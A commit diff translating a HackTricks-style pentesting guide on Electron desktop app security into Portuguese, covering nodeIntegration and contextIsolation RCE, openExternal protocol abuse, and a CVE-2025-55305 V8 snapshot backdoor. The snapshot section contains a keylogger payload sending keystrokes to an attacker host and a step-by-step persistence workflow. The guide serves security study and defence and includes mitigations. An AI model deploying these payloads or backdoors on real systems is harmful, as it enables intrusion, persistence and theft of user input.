Translated ['', 'src/network-services-pentesting/pentesting-web/electron

This commit is contained in:
Translator 2025-09-08 02:42:39 +00:00
parent ebd9c7b203
commit 7dd64a3298

View File

@ -1,12 +1,12 @@
# Electron Desktop Apps
# Aplicações Desktop Electron
{{#include ../../../banners/hacktricks-training.md}}
## Introdução
Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora falte alguns dos mecanismos de segurança dos navegadores modernos.
Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora lhe faltem alguns dos mecanismos de segurança dos navegadores modernos.
Normalmente, você pode encontrar o código do aplicativo electron dentro de uma aplicação `.asar`, para obter o código você precisa extraí-lo:
Normalmente poderá encontrar o código da aplicação Electron dentro de uma aplicação `.asar`; para obter o código é necessário extraí-lo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
@ -17,14 +17,14 @@ No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode
"name": "standard-notes",
"main": "./app/index.js",
```
O Electron tem 2 tipos de processos:
Electron tem 2 tipos de processo:
- Processo Principal (tem acesso completo ao NodeJS)
- Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança)
- Main Process (tem acesso completo ao NodeJS)
- Renderer Process (deve ter o acesso ao NodeJS restrito por motivos de segurança)
![](<../../../images/image (182).png>)
Um **processo de renderização** será uma janela do navegador carregando um arquivo:
Um **renderer process** será uma janela do navegador carregando um arquivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas das configurações irão **prevenir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**.
As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas dessas configurações irão **impedir que a Electron application obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretas**.
A aplicação Electron **pode acessar o dispositivo** via APIs do Node, embora possa ser configurada para impedir isso:
A Electron application **pode acessar o dispositivo** via Node apis, embora possa ser configurada para impedir isso:
- **`nodeIntegration`** - está `desligado` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.
- **`contextIsolation`** - está `ativado` por padrão. Se desligado, os processos principal e renderer não estão isolados.
- **`nodeIntegration`** - está `off` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.
- **`contextIsolation`** - está `on` por padrão. Se `off`, os processos main e renderer não são isolados.
- **`preload`** - vazio por padrão.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desligado por padrão. Isso restringirá as ações que o NodeJS pode realizar.
- Integração do Node em Workers
- **`nodeIntegrationInSubframes`** - está `desligado` por padrão.
- Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso de **APIs do Node.js** em páginas da web que estão **carregadas em iframes** dentro de uma aplicação Electron.
- Se **`nodeIntegration`** estiver **desativado**, então os preloads serão carregados no iframe.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por padrão. Vai restringir as ações que o NodeJS pode executar.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - está `off` por padrão.
- Se **`nodeIntegration`** estiver **enabled**, isso permitirá o uso das **Node.js APIs** em páginas web que são **carregadas em iframes** dentro de uma Electron application.
- Se **`nodeIntegration`** estiver **disabled**, então os preloads serão carregados no iframe
Exemplo de configuração:
```javascript
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Alguns **RCE payloads** de [aqui](https://7as.es/electron/nodeIntegration_rce.txt):
Alguns **RCE payloads** de [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -95,15 +95,16 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Captura de tráfego
### Capturar tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Injeção de Código Local do Electron
## Electron Local Code Injection
Se você conseguir executar localmente um Electron App é possível que você possa fazê-lo executar código javascript arbitrário. Check how in:
Se você puder executar localmente um aplicativo Electron, é possível que você consiga fazer com que ele execute código JavaScript arbitrário. Confira como em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +112,7 @@ Se você puder executar localmente um aplicativo Electron, é possível que voc
## RCE: XSS + nodeIntegration
Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página da web pode usar recursos do Node.js facilmente apenas chamando o `require()`. Por exemplo, a maneira de executar o aplicativo calc no Windows é:
Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página web pode usar funcionalidades do Node.js facilmente apenas chamando `require()`. Por exemplo, a forma de executar o aplicativo calc no Windows é:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
O script indicado nesta configuração é l**oaded antes de outros scripts no renderizador**, então tem **acesso ilimitado às APIs do Node**:
O script indicado nesta configuração é l**oaded before other scripts in the renderer**, portanto tem **unlimited access to Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -152,16 +153,16 @@ runCalc()
## RCE: XSS + contextIsolation
O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página da web e o código interno JavaScript do Electron**, de modo que a execução do JavaScript de cada código não afete o outro. Este é um recurso necessário para eliminar a possibilidade de RCE.
The _**contextIsolation**_ introduces the **contextos separados entre os scripts da página web e o código interno JavaScript do Electron** para que a execução de JavaScript de cada um não afete o outro. Esta é uma funcionalidade necessária para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados, um atacante pode:
1. Executar **JavaScript arbitrário no renderer** (XSS ou navegação para sites externos)
2. **Sobrescrever o método embutido** que é usado no preload ou no código interno do Electron para uma função própria
2. **Sobrescrever o método built-in** que é usado no preload ou no código interno do Electron para se apropriar da função
3. **Acionar** o uso da **função sobrescrita**
4. RCE?
Existem 2 lugares onde métodos embutidos podem ser sobrescritos: No código de preload ou no código interno do Electron:
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
@ -178,24 +179,24 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass do evento de clique
### Contornar evento de clique
Se houver restrições aplicadas ao clicar em um link, você pode ser capaz de contorná-las **fazendo um clique do meio** em vez de um clique esquerdo regular.
Se houver restrições aplicadas ao clicar em um link, você pode conseguir contorná-las **fazendo um clique do meio** em vez de um clique esquerdo regular
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Para mais informações sobre esses exemplos, consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Para mais informações sobre estes exemplos, veja [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **execução remota de código (RCE)** do lado do cliente, visando scripts de preload ou o código nativo do Electron a partir do processo principal, é efetivamente prevenida com essas configurações em vigor.
Ao implantar uma aplicação desktop Electron, garantir as configurações corretas de `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **client-side remote code execution (RCE)** visando preload scripts ou o código nativo do Electron a partir do main process é efetivamente prevenido com essas configurações em vigor.
Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, que são cruciais para a segurança e funcionalidade do aplicativo:
Quando um usuário interage com links ou abre novas janelas, event listeners específicos são acionados, os quais são cruciais para a segurança e funcionalidade da aplicação:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Esses ouvintes são **substituídos pelo aplicativo de desktop** para implementar sua própria **lógica de negócios**. O aplicativo avalia se um link navegável deve ser aberto internamente ou em um navegador da web externo. Essa decisão é tipicamente tomada através de uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`.
Estes listeners são **sobrescritos pela aplicação desktop** para implementar sua própria **lógica de negócio**. A aplicação avalia se um link navegadoo deve ser aberto internamente ou em um navegador web externo. Essa decisão é tipicamente tomada através de uma função, `openInternally`. Se essa função retornar `false`, indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`.
**Aqui está um pseudocódigo simplificado:**
@ -203,11 +204,11 @@ Esses ouvintes são **substituídos pelo aplicativo de desktop** para implementa
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e mais explicações sobre este tópico, pode-se consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
As melhores práticas de segurança do Electron JS recomendam evitar aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem disparar RCE. Para exemplos detalhados e explicações adicionais sobre este tópico, pode-se consultar [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
No macos, a função `openExternal` pode ser explorada para executar comandos arbitrários, como em `shell.openExternal('file:///System/Applications/Calculator.app')`.
No macOS, a função `openExternal` pode ser explorada para executar comandos arbitrários, por exemplo `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Exemplos de exploits de protocolos do Windows incluem:**
**Examples of Windows protocol exploits include:**
```html
<script>
window.open(
@ -227,17 +228,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + preload IPC vulnerável + shell.openExternal
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Essa vulnerabilidade pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Esta vuln pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **processo de renderização**, que deve ser desativado, pois permite carregar um script dentro do contexto de preload como:
O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **renderer process**, que deve ser desabilitado, pois permite carregar um script dentro do preload context como:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Portanto, um atacante que conseguir carregar uma página arbitrária poderia usar essa tag para **carregar um script de pré-carregamento arbitrário**.
Portanto, um atacante que consiga carregar uma página arbitrária poderia usar essa tag para **carregar um preload script arbitrário**.
Esse script de pré-carregamento foi abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que estava chamando **`shell.openExternal`** para obter RCE:
Esse preload script foi então abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que chamava **`shell.openExternal`** para obter RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Leitura de Arquivos Internos: XSS + contextIsolation
**Desabilitar `contextIsolation` permite o uso de `<webview>` tags**, semelhante a `<iframe>`, para ler e exfiltrar arquivos locais. Um exemplo fornecido demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:
**Desabilitar `contextIsolation` permite o uso de tags `<webview>`**, semelhante a `<iframe>`, para ler e exfiltrar arquivos locais. Um exemplo demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Além disso, outro método para **ler um arquivo interno** é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivo local em um aplicativo desktop Electron. Isso envolve injetar um script para explorar o aplicativo e exfiltrar dados:
Além disso, outro método para **ler um arquivo interno** é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivos locais em um aplicativo desktop Electron. Isso envolve injetar um script para explorar o aplicativo e exfiltrar dados:
```html
<br /><br /><br /><br />
<h1>
@ -272,43 +273,43 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Old Chromium**
Se o **chromium** usado pela aplicação é **antigo** e há **vulnerabilidades conhecidas** nele, pode ser possível **explorá-lo e obter RCE através de um XSS**.\
Se o **chromium** usado pela aplicação for **antigo** e houver **known** **vulnerabilities** nele, pode ser possível explorar isso e obter RCE através de um XSS.\
Você pode ver um exemplo neste **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
Supondo que você encontrou um XSS, mas **não consegue acionar RCE ou roubar arquivos internos**, você poderia tentar usá-lo para **roubar credenciais via phishing**.
Supondo que você encontrou um XSS mas **não consegue acionar RCE ou roubar arquivos internos**, você pode tentar usálo para **roubar credenciais via phishing**.
Primeiro de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:
Primeiro de tudo você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
A chamada para **`openInternally`** decidirá se o **link** será **aberto** na **janela do desktop**, pois é um link pertencente à plataforma, **ou** se será aberto no **navegador como um recurso de terceiros**.
A chamada para **`openInternally`** decide se o **link** será **aberto** na **janela do desktop** por pertencer à plataforma, **ou** se será aberto no **navegador como um recurso de terceiros**.
No caso de a **regex** usada pela função ser **vulnerável a bypasses** (por exemplo, por **não escapar os pontos dos subdomínios**), um atacante poderia abusar do XSS para **abrir uma nova janela que** estará localizada na infraestrutura do atacante **solicitando credenciais** ao usuário:
No caso de a **regex** usada pela função ser **vulnerável a bypasses** (por exemplo por **não escapar os pontos de subdomínios**), um atacante poderia explorar o XSS para **abrir uma nova janela que** estará localizada na infraestrutura do atacante **solicitando credenciais** ao usuário:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocol
## `file://` Protocolo
Como mencionado na [documentação](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), páginas executadas em **`file://`** têm acesso unilateral a todos os arquivos em sua máquina, o que significa que **problemas de XSS podem ser usados para carregar arquivos arbitrários** da máquina do usuário. Usar um **protocolo personalizado** previne problemas como este, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
Como mencionado em [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) páginas executadas em **`file://`** têm acesso unilateral a todos os arquivos da sua máquina, o que significa que **problemas XSS podem ser usados para carregar arquivos arbitrários** do computador do usuário. Usar um **custom protocol** previne esse tipo de problema, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
## Remote module
O módulo Remote do Electron permite que **processos de renderização acessem APIs do processo principal**, facilitando a comunicação dentro de um aplicativo Electron. No entanto, habilitar este módulo introduz riscos significativos de segurança. Ele expande a superfície de ataque do aplicativo, tornando-o mais suscetível a vulnerabilidades, como ataques de cross-site scripting (XSS).
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
> [!TIP]
> Embora o módulo **remote** exponha algumas APIs do principal para processos de renderização, não é simples obter RCE apenas abusando dos componentes. No entanto, os componentes podem expor informações sensíveis.
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING]
> Muitos aplicativos que ainda usam o módulo remote o fazem de uma maneira que **exige que o NodeIntegration esteja habilitado** no processo de renderização, o que é um **enorme risco de segurança**.
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
Desde o Electron 14, o módulo `remote` do Electron pode ser habilitado em várias etapas, pois, por razões de segurança e desempenho, é **recomendado não usá-lo**.
Desde o Electron 14, o módulo `remote` pode ser habilitado de várias maneiras; porém, por razões de segurança e performance, é **recommended to not use it**.
Para habilitá-lo, primeiro é necessário **habilitá-lo no processo principal**:
Para habilitá-lo, primeiro é necessário **enable it in the main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -319,35 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Então, o processo de renderização pode importar objetos do módulo, como:
Então, o processo renderer pode importar objetos do módulo assim:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
O **[post do blog](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remoto:
O **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remote:
- **`app.relaunch([options])`**
- **Reinicia** a aplicação **saindo** da instância atual e **iniciando** uma nova. Útil para **atualizações de app** ou mudanças significativas de **estado**.
- **Reinicia** a aplicação **saindo** da instância atual e **lançando** uma nova. Útil para **atualizações do app** ou mudanças significativas de **estado**.
- **`app.setAppLogsPath([path])`**
- **Define** ou **cria** um diretório para armazenar **logs do app**. Os logs podem ser **recuperados** ou **modificados** usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
- **Define** ou **cria** um diretório para armazenar os **logs do app**. Os logs podem ser **recuperados** ou **modificados** usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** o executável atual como o **manipulador padrão** para um **protocolo** especificado. Você pode fornecer um **caminho personalizado** e **argumentos** se necessário.
- **Registra** o executável atual como o **manipulador padrão** para um **protocolo** especificado. Você pode fornecer um **caminho customizado** e **argumentos** se necessário.
- **`app.setUserTasks(tasks)`**
- **Adiciona** tarefas à **categoria de Tarefas** na **Jump List** (no Windows). Cada tarefa pode controlar como o app é **iniciado** ou quais **argumentos** são passados.
- **Adiciona** tasks à **Tasks category** na **Jump List** (no Windows). Cada task pode controlar como o app é **lançado** ou quais **argumentos** são passados.
- **`app.importCertificate(options, callback)`**
- **Importa** um **certificado PKCS#12** para o **armazenamento de certificados** do sistema (apenas Linux). Um **callback** pode ser usado para lidar com o resultado.
- **Importa** um certificado **PKCS#12** para o **certificate store** do sistema (somente Linux). Um **callback** pode ser usado para tratar o resultado.
- **`app.moveToApplicationsFolder([options])`**
- **Move** a aplicação para a **pasta Aplicativos** (no macOS). Ajuda a garantir uma **instalação padrão** para usuários de Mac.
- **Move** a aplicação para a **Applications folder** (no macOS). Ajuda a garantir uma **instalação padrão** para usuários Mac.
- **`app.setJumpList(categories)`**
- **Define** ou **remove** uma **Jump List personalizada** no **Windows**. Você pode especificar **categorias** para organizar como as tarefas aparecem para o usuário.
- **Define** ou **remove** uma **Jump List** customizada no **Windows**. Você pode especificar **categories** para organizar como as **tasks** aparecem para o usuário.
- **`app.setLoginItemSettings(settings)`**
- **Configura** quais **executáveis** são iniciados no **login** junto com suas **opções** (apenas macOS e Windows).
- **Configura** quais **executáveis** iniciam no **login** juntamente com suas **opções** (somente macOS e Windows).
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
A **API principal** para acessar preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** são todos **parte de** este módulo.
A **API principal** para acessar as preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** são todos **parte deste** módulo.
**Exemplo de uso:**
```javascript
@ -364,33 +367,33 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Escuta** por **notificações nativas do macOS** usando NSDistributedNotificationCenter.
* Antes do **macOS Catalina**, você poderia interceptar **todas** as notificações distribuídas passando **nil** para CFNotificationCenterAddObserver.
* Após **Catalina / Big Sur**, aplicativos em sandbox ainda podem **se inscrever** em **muitos eventos** (por exemplo, **bloqueios/desbloqueios de tela**, **montagens de volume**, **atividade de rede**, etc.) registrando notificações **pelo nome**.
* **Escuta** notificações nativas do macOS usando NSDistributedNotificationCenter.
* Antes do **macOS Catalina**, você podia sniff **todas** as notificações distribuídas passando **nil** para CFNotificationCenterAddObserver.
* Após **Catalina / Big Sur**, apps em sandbox ainda podem **subscrever-se** a **muitos eventos** (por exemplo, **bloqueios/desbloqueios de tela**, **montagens de volume**, **atividade de rede**, etc.) registrando notificações **pelo nome**.
### **getUserDefault / setUserDefault**
* **Interage** com **NSUserDefaults**, que armazena **preferências** de **aplicativos** ou **globais** no macOS.
* **Interage** com **NSUserDefaults**, que armazena preferências **da aplicação** ou **globais** no macOS.
* **getUserDefault** pode **recuperar** informações sensíveis, como **localizações de arquivos recentes** ou **localização geográfica do usuário**.
* **setUserDefault** pode **modificar** essas preferências, potencialmente afetando a **configuração** de um aplicativo.
* **setUserDefault** pode **modificar** essas preferências, potencialmente afetando a **configuração** de um app.
* Em **versões mais antigas do Electron** (antes da v8.3.0), apenas a **conjunto padrão** de NSUserDefaults estava **acessível**.
* Em **versões mais antigas do Electron** (before v8.3.0), apenas o **conjunto padrão** de NSUserDefaults era **acessível**.
## Shell.showItemInFolder
Esta função mostra o arquivo dado em um gerenciador de arquivos, o que **pode executar automaticamente o arquivo**.
Esta função mostra o arquivo dado em um gerenciador de arquivos, o que **poderia executar automaticamente o arquivo**.
Para mais informações, consulte [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
## Política de Segurança de Conteúdo (CSP)
Aplicativos Electron devem ter uma **Content Security Policy (CSP)** para **prevenir ataques XSS**. A **CSP** é um **padrão de segurança** que ajuda a **prevenir** a **execução** de **código não confiável** no navegador.
Aplicativos Electron devem ter uma **Política de Segurança de Conteúdo (CSP)** para **prevenir ataques XSS**. A **CSP** é um **padrão de segurança** que ajuda a **evitar** a **execução** de **código não confiável** no navegador.
Geralmente é **configurada** no arquivo **`main.js`** ou no template **`index.html`** com a CSP dentro de uma **meta tag**.
Normalmente é **configurada** no arquivo **`main.js`** ou no template **`index.html`** com a CSP dentro de uma **meta tag**.
Para mais informações, consulte:
For more information check:
{{#ref}}
@ -400,16 +403,16 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar configurações incorretas e padrões de segurança em aplicações baseadas em Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto para VS Code para aplicações Electron que utiliza Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis.
- [**Electro.ng**](https://electro.ng/): Você precisa comprá-lo.
- [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar más configurações e anti-padrões de segurança em aplicações baseadas em Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto para VS Code para aplicações Electron que utiliza o Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis
- [**Electro.ng**](https://electro.ng/): Requer compra
## Labs
Em [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) você pode encontrar um lab para exploit de Electron apps vulneráveis.
Alguns comandos que ajudarão você no laboratório:
Alguns comandos que vão te ajudar no lab:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -432,14 +435,127 @@ cd vulnerable1
npm install
npm start
```
## **Referências**
## Backdoor local via adulteração de V8 heap snapshot (Electron/Chromium) CVE-2025-55305
Apps baseados em Electron e Chromium desserializam um V8 heap snapshot pré-construído na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os fusíveis de integridade do Electron não tratavam esses snapshots como conteúdo executável, então eles escapavam tanto da aplicação de integridade baseada em fuse quanto das verificações de code-signing do SO. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução de código furtiva e persistente dentro do app sem modificar os binários assinados ou o ASAR.
Key points
- Lacuna de integridade: EnableEmbeddedAsarIntegrityValidation e OnlyLoadAppFromAsar validam o JavaScript do app dentro do ASAR, mas não cobriam V8 heap snapshots (CVE-2025-55305). Chromium de forma similar também não realiza integrity-check dos snapshots.
- Pré-requisitos do ataque: escrita local de ficheiro no diretório de instalação do app. Isso é comum em sistemas onde apps Electron ou browsers Chromium são instalados em caminhos graváveis pelo usuário (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Efeito: execução confiável do JavaScript do atacante em qualquer isolate ao sobrescrever um builtin frequentemente usado (um “gadget”), permitindo persistência e evasão da verificação de code-signing.
- Superfície afetada: apps Electron (mesmo com fuses habilitados) e browsers baseados em Chromium que carregam snapshots de locais graváveis pelo usuário.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (executar código diferente no main vs. renderer)
- Detecção do main process: Node-only globals como process.pid, process.binding(), ou process.dlopen estão presentes no main process isolate.
- Detecção Browser/renderer: Browser-only globals como alert estão disponíveis quando executados em um document context.
Exemplo de gadget que verifica as capacidades Node do main-process uma vez
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
PoC de roubo de dados do Renderer/browser-context (por exemplo, Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
Fluxo do operador
1) Escreva payload.js que sobrescreve um builtin comum (ex., Array.isArray) e, opcionalmente, ramifica por isolate.
2) Construa o snapshot sem as fontes do Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Substitua o(s) arquivo(s) de snapshot do aplicativo alvo:
- v8_context_snapshot.bin (usado sempre)
- browser_v8_context_snapshot.bin (se o LoadBrowserProcessSpecificV8Snapshot fuse for usado)
4) Inicie o aplicativo; o gadget é executado sempre que o builtin escolhido for usado.
Notas e considerações
- Bypass de integridade/assinatura: Os arquivos snapshot não são tratados como executáveis nativos pelas verificações de assinatura de código e (historicamente) não eram cobertos pelos fuses do Electron ou pelos controles de integridade do Chromium.
- Persistência: Substituir o snapshot em uma instalação gravável pelo usuário normalmente sobrevive a reinicializações do app e aparenta ser um aplicativo legítimo e assinado.
- Navegadores Chromium: O mesmo conceito de adulteração se aplica ao Chrome/derivados instalados em locais graváveis pelo usuário. O Chrome possui outras mitigação de integridade, mas exclui explicitamente ataques fisicamente locais do seu modelo de ameaças.
Detecção e mitigações
- Trate snapshots como conteúdo executável e inclua-os na aplicação de integridade (CVE-2025-55305 fix).
- Prefira locais de instalação graváveis somente por admin; estabeleça linha de base e monitore hashes de v8_context_snapshot.bin e browser_v8_context_snapshot.bin.
- Detecte sobrescritas de builtin em tempo de execução inicial e mudanças inesperadas de snapshot; gere alertas quando snapshots desserializados não corresponderem aos valores esperados.
## **References**
